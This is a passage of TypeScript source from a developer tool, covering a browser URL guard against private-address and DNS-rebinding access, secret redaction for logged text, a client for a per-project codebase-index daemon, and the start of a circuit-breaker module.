`url.hostname`\n * again, otherwise DNS rebinding remains possible.\n */\nexport async function resolvePinnedBrowserTarget(\n rawUrl: string,\n opts: {\n allowPrivateHosts?: boolean | undefined;\n allowedPrivateOrigins?: readonly string[] | undefined;\n lookup?: BrowserDnsLookup | undefined;\n } = {},\n): Promise<BrowserResolvedTarget> {\n const url = parseBrowserUrl(rawUrl, true);\n const allowPrivate =\n opts.allowPrivateHosts === true || isAllowedPrivateOrigin(url, opts.allowedPrivateOrigins);\n const hostname = unbracket(url.hostname);\n const literalFamily = net.isIP(hostname);\n if (literalFamily === 4 || literalFamily === 6) {\n if (!allowPrivate && isPrivateAddress(hostname, literalFamily)) {\n throw new Error(`browser: blocked private/loopback address \"${hostname}\"`);\n }\n return { url, address: hostname, family: literalFamily };\n }\n if ((hostname === 'localhost' || hostname.endsWith('.localhost')) && !allowPrivate) {\n throw new Error('browser: blocked localhost target');\n }\n\n const lookup = opts.lookup ?? ((host) => dns.lookup(host, { all: true }));\n let records: readonly { address: string; family: number }[];\n try {\n records = await lookup(hostname);\n } catch (error) {\n throw new Error(\n `browser: DNS resolution failed for \"${hostname}\": ${error instanceof Error ? error.message : String(error)}`,\n );\n }\n if (records.length === 0) throw new Error(`browser: DNS returned no addresses for \"${hostname}\"`);\n\n for (const record of records) {\n if (record.family !== 4 && record.family !== 6) {\n throw new Error(`browser: DNS returned an unsupported address family for \"${hostname}\"`);\n }\n if (!allowPrivate && isPrivateAddress(record.address, record.family)) {\n throw new Error(`browser: resolved to private address ${record.address}`);\n }\n }\n const selected = records[0]!;\n return { url, address: selected.address, family: selected.family as 4 | 6 };\n}\n\nexport function parsePrivateOriginAllowlist(raw: string | undefined): string[] {\n if (!raw?.trim()) return [];\n const origins = new Set<string>();\n for (const entry of raw.split(',')) {\n const candidate = entry.trim();\n if (!candidate) continue;\n const url = parseBrowserUrl(candidate, true);\n if (url.pathname !== '/' || url.search || url.hash) {\n throw new Error(`browser: private origin allowlist entry must be an origin: \"${candidate}\"`);\n }\n origins.add(url.origin);\n }\n return [...origins];\n}\n\nfunction parseBrowserUrl(rawUrl: string, navigation: boolean): URL {\n let url: URL;\n try {\n url = new URL(rawUrl);\n } catch {\n throw new Error('browser: url must be an absolute URL');\n }\n if (!navigation && SAFE_SUBRESOURCE_PROTOCOLS.has(url.protocol)) return url;\n if (url.protocol !== 'http:' && url.protocol !== 'https:') {\n throw new Error(`browser: unsupported protocol \"${url.protocol}\"`);\n }\n if (url.username || url.password) {\n throw new Error('browser: credentials in URLs are not allowed');\n }\n return url;\n}\n\nfunction isAllowedPrivateOrigin(url: URL, origins: readonly string[] | undefined): boolean {\n return origins?.includes(url.origin) ?? false;\n}\n\nfunction isPrivateAddress(address: string, family: 4 | 6): boolean {\n return family === 4 ? isPrivateIPv4(address) : isPrivateIPv6(address);\n}\n\nfunction unbracket(hostname: string): string {\n return hostname.startsWith('[') && hostname.endsWith(']') ? hostname.slice(1, -1) : hostname;\n}\n\n/** Remove credentials, query strings, and fragments before persistence/output. */\nexport function safeBrowserUrl(rawUrl: string): string {\n try {\n const url = new URL(rawUrl);\n url.username = '';\n url.password = '';\n url.search = '';\n url.hash = '';\n return url.toString();\n } catch {\n return 'about:blank';\n }\n}\n\nexport function redactBrowserText(text: string): string {\n return text\n .replace(/\\bBearer\\s+[A-Za-z0-9._~+/-]+=*/gi, 'Bearer [REDACTED]')\n .replace(\n /\\b(api[-_ ]?key|access[-_ ]?token|auth[-_ ]?token|token|password|secret)\\b\\s*[:=]\\s*[^\\s,;]+/gi,\n '$1=[REDACTED]',\n );\n}\n", "import { spawn } from 'node:child_process';\nimport * as fs from 'node:fs';\nimport * as net from 'node:net';\nimport { fileURLToPath } from 'node:url';\nimport { checkUnixSocketPath } from '@wrongstack/core/utils';\nimport { IndexTimeoutError, LockError } from './circuit-breaker.js';\nimport {\n PROJECT_INDEX_SERVER_PROTOCOL_VERSION,\n projectIndexServerBuildId,\n projectIndexServerEndpoint,\n projectIndexServerMetadataPath,\n} from './project-server-endpoint.js';\nimport {\n encodeProjectServerMessage,\n PROJECT_INDEX_SERVER_MAX_FRAME_CHARS,\n type ProjectIndexServerActivity,\n type ProjectIndexServerHealth,\n type ProjectIndexServerInfo,\n type ProjectServerMessage,\n} from './project-server-protocol.js';\nimport type { OpName, OpShapes } from './worker-protocol.js';\n\nconst CONNECT_ATTEMPT_TIMEOUT_MS = 750;\nconst SERVER_START_TIMEOUT_MS = 10_000;\nconst SERVER_CONTROL_TIMEOUT_MS = 5_000;\nconst SERVER_HEALTH_TIMEOUT_MS = 3_000;\nconst SERVER_HEARTBEAT_INTERVAL_MS = 10_000;\n\nclass StaleProjectIndexServerError extends Error {\n override readonly name = 'StaleProjectIndexServerError';\n\n constructor(\n message: string,\n readonly pid: number,\n ) {\n super(message);\n }\n}\n\ninterface PendingRequest {\n resolve(value: unknown): void;\n reject(error: unknown): void;\n timer: ReturnType<typeof setTimeout>;\n signal?: AbortSignal | undefined;\n onAbort?: (() => void) | undefined;\n onProgress?: ((current: number, total: number) => void) | undefined;\n}\n\nexport interface ProjectServerCallOptions {\n timeoutMs: number;\n signal?: AbortSignal | undefined;\n onProgress?: ((current: number, total: number) => void) | undefined;\n}\n\nexport interface ProjectIndexServerShutdownResult {\n stopped: boolean;\n pid?: number | undefined;\n reason?: string | undefined;\n}\n\nexport type ProjectIndexServerConnectionStatus =\n | 'unavailable'\n | 'offline'\n | 'connecting'\n | 'connected'\n | 'degraded'\n | 'unresponsive'\n | 'error'\n | 'stopping';\n\nexport interface ProjectIndexServerClientHealth {\n status: 'healthy' | 'degraded' | 'unresponsive';\n checkedAt: number;\n lastHealthyAt: number | null;\n latencyMs: number | null;\n missedHeartbeats: number;\n server?: ProjectIndexServerHealth | undefined;\n}\n\nexport interface ProjectIndexServerConnectionState {\n status: ProjectIndexServerConnectionStatus;\n connected: boolean;\n projectRoot?: string | undefined;\n indexDir?: string | undefined;\n endpoint?: string | undefined;\n pid?: number | undefined;\n lastError?: string | undefined;\n activity?: ProjectIndexServerActivity | undefined;\n health?: ProjectIndexServerClientHealth | undefined;\n}\n\ntype ProjectIndexServerConnectionListener = (state: ProjectIndexServerConnectionState) => void;\n\nconst connectionStates = new Map<string, ProjectIndexServerConnectionState>();\nconst connectionStateListeners = new Set<ProjectIndexServerConnectionListener>();\nlet latestConnectionState: ProjectIndexServerConnectionState = {\n status: 'offline',\n connected: false,\n};\n\n/**\n * Why the index daemon is or is not usable.\n *\n * A bare `null` cannot distinguish \"the operator asked for in-process mode\"\n * from \"the built server is missing\", so callers that degrade on `null` treat a\n * broken build as a supported mode. For the index that means every process\n * quietly builds its own FTS5 database instead of sharing the project's one\n * owner \u2014 same data, N copies, none of them authoritative.\n */\nexport type ProjectIndexDaemonAvailability =\n | { readonly kind: 'available'; readonly url: URL }\n /** `WRONGSTACK_INDEX_INLINE` / `WRONGSTACK_INDEX_SERVER=0` was set. */\n | { readonly kind: 'inline-requested' }\n /** No server entry point exists in any known output layout. */\n | { readonly kind: 'missing-build' }\n /**\n * The derived socket path cannot be bound on this platform (over the\n * `sun_path` byte limit \u2014 seen on macOS whose per-user TMPDIR is ~48 bytes).\n * A daemon spawned onto this endpoint dies silently (`stdio: 'ignore'`), so\n * callers must degrade explicitly instead of entering the connect loop.\n */\n | {\n readonly kind: 'endpoint-invalid';\n readonly endpoint: string;\n readonly byteLength: number;\n readonly maxBytes: number;\n };\n\nexport function resolveProjectIndexDaemonAvailability(\n projectRoot?: string,\n indexDir?: string,\n): ProjectIndexDaemonAvailability {\n if (process.env['WRONGSTACK_INDEX_INLINE'] || process.env['WRONGSTACK_INDEX_SERVER'] === '0') {\n return { kind: 'inline-requested' };\n }\n let builtUrl: URL | null = null;\n for (const rel of ['./project-server.js', './codebase-index/project-server.js']) {\n try {\n const url = new URL(rel, import.meta.url);\n if (url.protocol === 'file:' && fs.existsSync(fileURLToPath(url))) {\n builtUrl = url;\n break;\n }\n } catch {\n /* try the next candidate */\n }\n }\n if (builtUrl === null) return { kind: 'missing-build' };\n // Validate the endpoint OUTSIDE the build-probing try/catch. A throw here\n // (today: never; tomorrow: `assertUnixSocketPathWithinLimit` or a future\n // platform guard) must surface as a real availability kind, not be silently\n // swallowed and misreported as `missing-build`. Callers rely on the\n // `endpoint-invalid` branch to reject loudly instead of falling through to\n // an in-process index that would silently strip every connected client of\n // the shared per-project daemon.\n if (projectRoot !== undefined) {\n const endpoint = projectIndexServerEndpoint(projectRoot, indexDir);\n const check = checkUnixSocketPath(endpoint);\n if (!check.ok) {\n return {\n kind: 'endpoint-invalid',\n endpoint,\n byteLength: check.byteLength,\n maxBytes: check.maxBytes,\n };\n }\n }\n return { kind: 'available', url: builtUrl };\n}\n\nfunction resolveProjectServerUrl(): URL | null {\n const availability = resolveProjectIndexDaemonAvailability();\n return availability.kind === 'available' ? availability.url : null;\n}\n\nexport function projectIndexServerExpectedBuildId(): string | null {\n const override = process.env['WRONGSTACK_INDEX_SERVER_BUILD_ID']?.trim();\n if (override) return override;\n const url = resolveProjectServerUrl();\n return url ? projectIndexServerBuildId(url) : null;\n}\n\nexport function isProjectIndexServerAvailable(): boolean {\n return resolveProjectServerUrl() !== null;\n}\n\nfunction publishConnectionState(endpoint: string, state: ProjectIndexServerConnectionState): void {\n connectionStates.set(endpoint, state);\n latestConnectionState = state;\n for (const listener of connectionStateListeners) listener(state);\n}\n\nexport function getProjectIndexServerConnectionState(\n projectRoot?: string,\n indexDir?: string,\n): ProjectIndexServerConnectionState {\n if (projectRoot) {\n const endpoint = projectIndexServerEndpoint(projectRoot, indexDir);\n const existing = connectionStates.get(endpoint);\n if (existing) return existing;\n if (!isProjectIndexServerAvailable()) {\n return { status: 'unavailable', connected: false };\n }\n return {\n status: 'offline',\n connected: false,\n projectRoot,\n indexDir,\n endpoint,\n };\n }\n if (latestConnectionState.endpoint) return latestConnectionState;\n if (!isProjectIndexServerAvailable()) return { status: 'unavailable', connected: false };\n return latestConnectionState;\n}\n\nexport function onProjectIndexServerConnectionStateChange(\n listener: ProjectIndexServerConnectionListener,\n): () => void {\n connectionStateListeners.add(listener);\n return () => connectionStateListeners.delete(listener);\n}\n\nfunction remoteError(message: string, name?: string): Error {\n if (name === 'LockError') return new LockError(message);\n if (name === 'IndexTimeoutError') return new IndexTimeoutError(message);\n const error = new Error(message);\n if (name && name !== 'Error') error.name = name;\n return error;\n}\n\nfunction isProjectIndexServerHealth(value: unknown): value is ProjectIndexServerHealth {\n if (!value || typeof value !== 'object') return false;\n const health = value as Partial<ProjectIndexServerHealth>;\n const memory =\n health.memory && typeof health.memory === 'object'\n ? (health.memory as Partial<ProjectIndexServerHealth['memory']>)\n : undefined;\n const activity =\n health.activity && typeof health.activity === 'object'\n ? (health.activity as Partial<ProjectIndexServerActivity>)\n : undefined;\n return (\n typeof health.checkedAt === 'number' &&\n typeof health.uptimeMs === 'number' &&\n typeof memory?.rss === 'number' &&\n typeof memory.heapUsed === 'number' &&\n typeof memory.heapTotal === 'number' &&\n typeof memory.external === 'number' &&\n typeof health.clients === 'number' &&\n typeof health.activeRequests === 'number' &&\n typeof health.activeWrites === 'number' &&\n typeof health.queuedWrites === 'number' &&\n typeof health.pendingExternalFiles === 'number' &&\n typeof health.watchingExternal === 'boolean' &&\n typeof activity?.indexing === 'boolean' &&\n typeof activity.currentFile === 'number' &&\n typeof activity.totalFiles === 'number' &&\n typeof activity.generation === 'number'\n );\n}\n\nfunction delay(ms: number): Promise<void> {\n return new Promise((resolve) => {\n const timer = setTimeout(resolve, ms);\n timer.unref?.();\n });\n}\n\nfunction cancellationError(signal: AbortSignal): Error {\n return signal.reason instanceof Error ? signal.reason : new Error('Indexing cancelled');\n}\n\nclass ProjectServerConnection {\n private socket: net.Socket | null = null;\n private buffer = '';\n private info: ProjectIndexServerInfo | null = null;\n private activity: ProjectIndexServerActivity | null = null;\n private health: ProjectIndexServerClientHealth | null = null;\n private healthCheck: Promise<ProjectIndexServerClientHealth> | null = null;\n private connecting: Promise<void> | null = null;\n private connectResolve: (() => void) | null = null;\n private connectReject: ((error: unknown) => void) | null = null;\n private nextId = 1;\n private readonly pending = new Map<number, PendingRequest>();\n\n constructor(\n readonly projectRoot: string,\n readonly indexDir: string | undefined,\n readonly endpoint: string,\n ) {\n this.transition('offline');\n }\n\n private transition(\n status: ProjectIndexServerConnectionStatus,\n options: { pid?: number | undefined; error?: unknown } = {},\n ): void {\n const previous = connectionStates.get(this.endpoint);\n const pid = options.pid ?? (status === 'connected' ? this.info?.pid : undefined);\n const lastError =\n options.error === undefined\n ? status === 'error' || status === 'degraded' || status === 'unresponsive'\n ? previous?.lastError\n : undefined\n : options.error instanceof Error\n ? options.error.message\n : String(options.error);\n publishConnectionState(this.endpoint, {\n status,\n connected: status === 'connected' || status === 'degraded' || status === 'unresponsive',\n projectRoot: this.projectRoot,\n indexDir: this.indexDir,\n endpoint: this.endpoint,\n pid,\n lastError,\n ...(this.activity ? { activity: this.activity } : {}),\n ...(this.health ? { health: this.health } : {}),\n });\n }\n\n isConnected(): boolean {\n return this.socket !== null && !this.socket.destroyed && this.info !== null;\n }\n\n /** Safe LRU candidate: no request, connect, or health probe is in flight. */\n isEvictable(): boolean {\n return this.pending.size === 0 && this.connecting === null && this.healthCheck === null;\n }\n\n async checkHealth(\n spawnIfMissing = false,\n timeoutMs = SERVER_HEALTH_TIMEOUT_MS,\n ): Promise<ProjectIndexServerClientHealth> {\n await this.ensureConnected(spawnIfMissing);\n if (this.healthCheck) return this.healthCheck;\n const startedAt = Date.now();\n this.healthCheck = this.request<ProjectIndexServerHealth>({ type: 'ping' }, { timeoutMs })\n .then((server) => {\n const now = Date.now();\n this.health = {\n status: 'healthy',\n checkedAt: now,\n lastHealthyAt: now,\n latencyMs: Math.max(0, now - startedAt),\n missedHeartbeats: 0,\n ...(isProjectIndexServerHealth(server) ? { server } : {}),\n };\n this.transition('connected', { pid: this.info?.pid });\n return this.health;\n })\n .catch((error) => {\n if (!this.isConnected()) throw error;\n if ((this.health?.lastHealthyAt ?? 0) > startedAt) return this.health!;\n const missedHeartbeats = (this.health?.missedHeartbeats ?? 0) + 1;\n const status = missedHeartbeats >= 3 ? 'unresponsive' : 'degraded';\n this.health = {\n status,\n checkedAt: Date.now(),\n lastHealthyAt: this.health?.lastHealthyAt ?? null,\n latencyMs: null,\n missedHeartbeats,\n ...(this.health?.server ? { server: this.health.server } : {}),\n };\n this.transition(status, { pid: this.info?.pid, error });\n return this.health;\n })\n .finally(() => {\n this.healthCheck = null;\n });\n return this.healthCheck;\n }\n\n private markResponsive(): void {\n const now = Date.now();\n this.health = {\n status: 'healthy',\n checkedAt: now,\n lastHealthyAt: now,\n latencyMs: this.health?.latencyMs ?? null,\n missedHeartbeats: 0,\n ...(this.health?.server ? { server: this.health.server } : {}),\n };\n }\n\n async call<O extends OpName>(\n op: O,\n args: OpShapes[O]['args'],\n options: ProjectServerCallOptions,\n ): Promise<OpShapes[O]['result']> {\n if (options.signal?.aborted) throw cancellationError(options.signal);\n await this.ensureConnected(true);\n // Connection establishment can take up to ten seconds while electing and\n // spawning a server. Do not enqueue work after the caller cancelled during\n // that interval.\n if (options.signal?.aborted) throw cancellationError(options.signal);\n return this.request<OpShapes[O]['result']>({ type: 'request', op, args }, options);\n }\n\n async shutdownRemote(reason?: string): Promise<ProjectIndexServerShutdownResult> {\n try {\n await this.ensureConnected(false);\n } catch {\n return { stopped: false, reason: 'not-running' };\n }\n const pid = this.info?.pid;\n try {\n this.transition('stopping', { pid });\n await this.request<{ stopping: boolean }>(\n { type: 'shutdown', reason },\n { timeoutMs: SERVER_CONTROL_TIMEOUT_MS },\n );\n return { stopped: true, pid };\n } catch (error) {\n const forceKilled = this.forceKillKnownServer();\n return {\n stopped: forceKilled,\n pid,\n reason: forceKilled\n ? `force-killed after graceful shutdown failed: ${error instanceof Error ? error.message : String(error)}`\n : error instanceof Error\n ? error.message\n : String(error),\n };\n } finally {\n this.close();\n }\n }\n\n async configure(watchExternal: boolean, debounceMs: number): Promise<void> {\n await this.ensureConnected(true);\n const startedAt = Date.now();\n const result = await this.request<{ watching: boolean; health?: unknown }>(\n { type: 'configure', watchExternal, debounceMs },\n { timeoutMs: SERVER_CONTROL_TIMEOUT_MS },\n );\n if (isProjectIndexServerHealth(result.health)) {\n const now = Date.now();\n this.health = {\n status: 'healthy',\n checkedAt: now,\n lastHealthyAt: now,\n latencyMs: Math.max(0, now - startedAt),\n missedHeartbeats: 0,\n server: result.health,\n };\n this.transition('connected', { pid: this.info?.pid });\n }\n }\n\n close(): void {\n const socket = this.socket;\n this.socket = null;\n this.info = null;\n this.activity = null;\n this.health = null;\n this.connectReject?.(new Error('codebase-index client disconnected'));\n this.connectResolve = null;\n this.connectReject = null;\n if (socket && !socket.destroyed) socket.destroy();\n this.rejectPending(new Error('codebase-index client disconnected'));\n this.transition('offline');\n maybeStopHeartbeatLoop();\n }\n\n private request<T>(\n message:\n | { type: 'request'; op: OpName; args: OpShapes[OpName]['args'] }\n | {\n type: 'shutdown';\n reason?: string | undefined;\n }\n | { type: 'configure'; watchExternal: boolean; debounceMs: number }\n | { type: 'ping' },\n options: ProjectServerCallOptions,\n ): Promise<T> {\n const socket = this.socket;\n if (!socket || socket.destroyed) {\n return Promise.reject(new Error('codebase-index server connection is not available'));\n }\n const id = this.nextId++;\n return new Promise<T>((resolve, reject) => {\n const timer = setTimeout(() => {\n const entry = this.pending.get(id);\n if (!entry) return;\n this.pending.delete(id);\n this.write({ type: 'cancel', id });\n const error = new IndexTimeoutError(\n `Index ${message.type === 'request' ? message.op : message.type} exceeded its ${options.timeoutMs}ms watchdog timeout`,\n );\n this.cleanupPending(entry);\n entry.reject(error);\n }, options.timeoutMs);\n timer.unref?.();\n\n const signal = options.signal;\n const onAbort = signal\n ? () => {\n const entry = this.pending.get(id);\n if (!entry) return;\n this.pending.delete(id);\n this.write({ type: 'cancel', id });\n this.cleanupPending(entry);\n entry.reject(cancellationError(signal));\n }\n : undefined;\n this.pending.set(id, {\n resolve,\n reject,\n timer,\n signal,\n onAbort,\n onProgress: options.onProgress,\n });\n if (signal && onAbort) {\n signal.addEventListener('abort', onAbort, { once: true });\n // AbortSignal does not replay an abort event to listeners attached\n // after it fired. Close the narrow setup race before writing.\n if (signal.aborted) {\n onAbort();\n return;\n }\n }\n this.write({ ...message, id });\n });\n }\n\n private async ensureConnected(spawnIfMissing: boolean): Promise<void> {\n if (this.socket && !this.socket.destroyed && this.info) return;\n if (this.connecting) return this.connecting;\n this.transition('connecting');\n this.connecting = this.connectWithElection(spawnIfMissing)\n .catch((error) => {\n this.transition('error', { error });\n throw error;\n })\n .finally(() => {\n this.connecting = null;\n });\n return this.connecting;\n }\n\n private async connectWithElection(spawnIfMissing: boolean): Promise<void> {\n const deadline =\n Date.now() + (spawnIfMissing ? SERVER_START_TIMEOUT_MS : CONNECT_ATTEMPT_TIMEOUT_MS);\n let spawned = false;\n let staleAttempts = 0;\n let lastError: unknown = new Error('codebase-index server unavailable');\n while (Date.now() < deadline) {\n try {\n await this.connectOnce();\n return;\n } catch (error) {\n lastError = error;\n if (error instanceof StaleProjectIndexServerError) {\n staleAttempts++;\n if (!spawnIfMissing) break;\n if (staleAttempts >= 3) this.forceKillServer(error.pid);\n spawned = false;\n await delay(100);\n continue;\n }\n }\n if (!spawnIfMissing) break;\n if (!spawned) {\n this.spawnDetachedServer();\n spawned = true;\n }\n await delay(75);\n }\n throw lastError;\n }\n\n private connectOnce(): Promise<void> {\n this.socket?.destroy();\n this.socket = null;\n this.info = null;\n this.activity = null;\n this.health = null;\n this.buffer = '';\n\n return new Promise<void>((resolve, reject) => {\n const socket = net.createConnection(this.endpoint);\n this.socket = socket;\n socket.setEncoding('utf8');\n const timer = setTimeout(() => {\n reject(new Error('codebase-index server handshake timed out'));\n socket.destroy();\n }, CONNECT_ATTEMPT_TIMEOUT_MS);\n timer.unref?.();\n\n const finishResolve = () => {\n clearTimeout(timer);\n this.connectResolve = null;\n this.connectReject = null;\n resolve();\n };\n const finishReject = (error: unknown) => {\n clearTimeout(timer);\n this.connectResolve = null;\n this.connectReject = null;\n reject(error);\n };\n this.connectResolve = finishResolve;\n this.connectReject = finishReject;\n\n socket.on('data', (chunk: string) => this.onData(socket, chunk));\n socket.on('error', (error) => {\n if (!this.info) finishReject(error);\n });\n socket.on('close', () => this.onClose(socket));\n });\n }\n\n private onData(socket: net.Socket, chunk: string): void {\n if (socket !== this.socket) return;\n this.buffer += chunk;\n while (true) {\n const newline = this.buffer.indexOf('\\n');\n if (newline < 0) {\n if (this.buffer.length > PROJECT_INDEX_SERVER_MAX_FRAME_CHARS) {\n socket.destroy(new Error('codebase-index server response exceeds the IPC limit'));\n }\n return;\n }\n if (newline > PROJECT_INDEX_SERVER_MAX_FRAME_CHARS) {\n socket.destroy(new Error('codebase-index server response exceeds the IPC limit'));\n return;\n }\n const line = this.buffer.slice(0, newline);\n this.buffer = this.buffer.slice(newline + 1);\n if (!line) continue;\n let message: ProjectServerMessage;\n try {\n message = JSON.parse(line) as ProjectServerMessage;\n } catch {\n socket.destroy(new Error('invalid codebase-index server response'));\n return;\n }\n this.onMessage(message);\n }\n }\n\n private onMessage(message: ProjectServerMessage): void {\n if (message.type === 'hello') {\n if (message.protocolVersion !== PROJECT_INDEX_SERVER_PROTOCOL_VERSION) {\n this.rejectStaleServer(\n message,\n `codebase-index protocol mismatch: client=${PROJECT_INDEX_SERVER_PROTOCOL_VERSION}, server=${message.protocolVersion}`,\n );\n return;\n }\n const expectedBuildId = projectIndexServerExpectedBuildId();\n if (expectedBuildId && message.buildId !== expectedBuildId) {\n this.rejectStaleServer(\n message,\n `codebase-index build mismatch: client=${expectedBuildId}, server=${message.buildId ?? 'legacy'}`,\n );\n return;\n }\n this.info = message;\n this.markResponsive();\n this.transition('connected', { pid: message.pid });\n ensureHeartbeatLoop();\n this.connectResolve?.();\n return;\n }\n if (message.type === 'index-state') {\n this.activity = message.state;\n this.markResponsive();\n this.transition('connected', { pid: this.info?.pid });\n return;\n }\n\n const entry = this.pending.get(message.id);\n if (!entry) return;\n this.markResponsive();\n const status = connectionStates.get(this.endpoint)?.status;\n if (status === 'degraded' || status === 'unresponsive') {\n this.transition('connected', { pid: this.info?.pid });\n }\n if (message.type === 'progress') {\n entry.onProgress?.(message.current, message.total);\n return;\n }\n this.pending.delete(message.id);\n this.cleanupPending(entry);\n if (message.ok) entry.resolve(message.result);\n else entry.reject(remoteError(message.error, message.errorName));\n }\n\n private onClose(socket: net.Socket): void {\n if (socket !== this.socket) return;\n const wasConnected = this.info !== null;\n this.socket = null;\n this.info = null;\n this.activity = null;\n this.health = null;\n const error = new Error('codebase-index server connection closed');\n this.connectReject?.(error);\n this.connectResolve = null;\n this.connectReject = null;\n this.rejectPending(error);\n if (wasConnected) this.transition('error', { error });\n maybeStopHeartbeatLoop();\n }\n\n private cleanupPending(entry: PendingRequest): void {\n clearTimeout(entry.timer);\n if (entry.signal && entry.onAbort) {\n entry.signal.removeEventListener('abort', entry.onAbort);\n }\n }\n\n private rejectPending(error: unknown): void {\n const entries = [...this.pending.values()];\n this.pending.clear();\n for (const entry of entries) {\n this.cleanupPending(entry);\n entry.reject(error);\n }\n }\n\n private write(message: object): void {\n const socket = this.socket;\n if (socket && !socket.destroyed) socket.write(encodeProjectServerMessage(message));\n }\n\n private rejectStaleServer(message: ProjectIndexServerInfo, reason: string): void {\n const socket = this.socket;\n if (socket && !socket.destroyed) {\n socket.write(\n encodeProjectServerMessage({\n type: 'shutdown',\n id: 0,\n reason: 'stale-build-replacement',\n }),\n );\n const timer = setTimeout(() => socket.destroy(), 25);\n timer.unref?.();\n }\n this.connectReject?.(new StaleProjectIndexServerError(reason, message.pid));\n }\n\n private spawnDetachedServer(): void {\n const url = resolveProjectServerUrl();\n if (!url) throw new Error('built codebase-index project server is unavailable');\n // Unix-domain socket files survive an unclean process death. We only reach\n // this branch after a direct connection attempt failed, so an existing\n // path is stale rather than a live server endpoint.\n if (process.platform !== 'win32') {\n try {\n fs.rmSync(this.endpoint, { force: true });\n } catch {\n /* bind/connect race will elect the winner */\n }\n }\n const args = [fileURLToPath(url), '--project-root', this.projectRoot];\n if (this.indexDir) args.push('--index-dir', this.indexDir);\n const child = spawn(process.execPath, args, {\n detached: true,\n stdio: 'ignore',\n windowsHide: true,\n env: process.env,\n });\n child.unref();\n }\n\n private forceKillKnownServer(): boolean {\n const pid = this.info?.pid;\n return pid ? this.forceKillServer(pid) : false;\n }\n\n private forceKillServer(pid: number): boolean {\n if (pid === process.pid) return false;\n try {\n process.kill(pid);\n const metadataPath = projectIndexServerMetadataPath(this.projectRoot, this.indexDir);\n try {\n const metadata = JSON.parse(fs.readFileSync(metadataPath, 'utf8')) as { pid?: number };\n if (metadata.pid === pid) fs.rmSync(metadataPath, { force: true });\n } catch {\n /* absent or already replaced */\n }\n return true;\n } catch {\n return false;\n }\n }\n}\n\nconst connections = new Map<string, ProjectServerConnection>();\nconst MAX_CACHED_CONNECTIONS = 8;\nlet heartbeatTimer: ReturnType<typeof setInterval> | undefined;\n\nfunction forgetConnection(endpoint: string, connection: ProjectServerConnection): void {\n if (connections.get(endpoint) === connection) connections.delete(endpoint);\n connection.close();\n connectionStates.delete(endpoint);\n if (latestConnectionState.endpoint !== endpoint) return;\n latestConnectionState =\n [...connectionStates.values()].at(-1) ??\n ({\n status: isProjectIndexServerAvailable() ? 'offline' : 'unavailable',\n connected: false,\n } satisfies ProjectIndexServerConnectionState);\n}\n\nfunction trimConnectionCache(protectedConnection: ProjectServerConnection): void {\n if (connections.size <= MAX_CACHED_CONNECTIONS) return;\n for (const [endpoint, connection] of connections) {\n if (connections.size <= MAX_CACHED_CONNECTIONS) break;\n if (connection === protectedConnection || !connection.isEvictable()) continue;\n forgetConnection(endpoint, connection);\n }\n}\n\nfunction ensureHeartbeatLoop(): void {\n if (heartbeatTimer) return;\n heartbeatTimer = setInterval(() => {\n for (const connection of connections.values()) {\n if (connection.isConnected()) void connection.checkHealth(false).catch(() => {});\n }\n }, SERVER_HEARTBEAT_INTERVAL_MS);\n heartbeatTimer.unref?.();\n}\n\nfunction maybeStopHeartbeatLoop(): void {\n if (!heartbeatTimer) return;\n if ([...connections.values()].some((connection) => connection.isConnected())) return;\n clearInterval(heartbeatTimer);\n heartbeatTimer = undefined;\n}\n\nfunction connectionFor(projectRoot: string, indexDir?: string): ProjectServerConnection {\n const endpoint = projectIndexServerEndpoint(projectRoot, indexDir);\n let connection = connections.get(endpoint);\n if (!connection) {\n connection = new ProjectServerConnection(projectRoot, indexDir, endpoint);\n connections.set(endpoint, connection);\n } else {\n connections.delete(endpoint);\n connections.set(endpoint, connection);\n }\n trimConnectionCache(connection);\n return connection;\n}\n\nexport function callProjectIndexServer<O extends OpName>(\n op: O,\n args: OpShapes[O]['args'],\n options: ProjectServerCallOptions,\n): Promise<OpShapes[O]['result']> {\n return connectionFor(args.projectRoot, args.indexDir).call(op, args, options);\n}\n\nexport function ensureProjectIndexServer(options: {\n projectRoot: string;\n indexDir?: string | undefined;\n watchExternal: boolean;\n debounceMs: number;\n}): Promise<void> {\n return connectionFor(options.projectRoot, options.indexDir).configure(\n options.watchExternal,\n options.debounceMs,\n );\n}\n\nexport function checkProjectIndexServerHealth(\n projectRoot: string,\n indexDir?: string,\n options: { timeoutMs?: number | undefined } = {},\n): Promise<ProjectIndexServerClientHealth> {\n return connectionFor(projectRoot, indexDir).checkHealth(\n false,\n options.timeoutMs ?? SERVER_HEALTH_TIMEOUT_MS,\n );\n}\n\nexport async function shutdownProjectIndexServer(\n projectRoot: string,\n indexDir?: string,\n reason?: string,\n): Promise<ProjectIndexServerShutdownResult> {\n const endpoint = projectIndexServerEndpoint(projectRoot, indexDir);\n const connection = connectionFor(projectRoot, indexDir);\n try {\n return await connection.shutdownRemote(reason);\n } finally {\n connection.close();\n connections.delete(endpoint);\n connectionStates.delete(endpoint);\n }\n}\n\n/** Disconnect this process from every project server without stopping them. */\nexport function closeProjectIndexServerClients(): void {\n for (const connection of connections.values()) connection.close();\n connections.clear();\n connectionStates.clear();\n latestConnectionState = {\n status: isProjectIndexServerAvailable() ? 'offline' : 'unavailable',\n connected: false,\n };\n if (heartbeatTimer) clearInterval(heartbeatTimer);\n heartbeatTimer = undefined;\n}\n", "/**\n * Circuit breaker for the codebase indexer.\n *\n * The indexer can wedge: a hung filesystem, a parser pathology, or another\n * wstack process holding the SQLite write lock (several surfaces \u2014 TUI, WebUI,\n * parallel terminals \u2014 share one per-project `index.db`). Without protection,\n * every queued reindex piles up behind the process-wide mutex, `isIndexing()`\n * stays true forever, and anything that awaits an index run (the startup scan,\n * `/codebase-reindex`) locks its terminal.\n *\n * Standard three-state breaker:\n *\n * closed \u2014 normal operation; consecutive failures are counted.\n * open \u2014 after `failureThreshold` consecutive failures, every request\n * is rejected fast ({@link CircuitOpenError}) for `cooldownMs`.\n * half-open \u2014 after the cooldown exactly one probe run is admitted;\n * success closes the circuit, failure re-opens it.\n *\n * Watchdog timeouts ({@link IndexTimeoutError}) count as failures;\n * caller-initiated aborts (session teardown) do not \u2014 the background indexer\n * makes that distinction before recording.\n *\n * Lock conflicts ({@link LockError}) do NOT count as failures \u2014 they are expected\n * transient conditions when multiple wstack surfaces share the same `index.db`.\n * The index store retries automatically; a LockError only reaches the circuit\n * breaker when all retries are exhausted.\n */\n\nexport type CircuitState = 'closed' | 'open' | 'half-open';\n\nexport interface CircuitSnapshot {\n state: CircuitState;\n consecutiveFailures: number;\n lastFailure: string | null;\n /** ms until an open circuit admits a half-open probe (0 unless open). */\n cooldownRemainingMs: 